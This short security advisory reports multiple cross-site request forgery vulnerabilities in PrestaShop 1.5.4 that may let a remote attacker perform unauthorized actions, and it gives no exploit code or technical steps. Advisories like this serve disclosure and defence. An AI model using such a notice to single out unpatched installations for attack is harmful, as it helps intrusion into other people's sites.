PrestaShop is prone to multiple cross-site request-forgery vulnerabilities.

Exploiting these issues may allow a remote attacker to perform certain unauthorized actions in the context of the affected application. Other attacks are also possible.

PrestaShop 1.5.4 is vulnerable; other versions may also be affected.
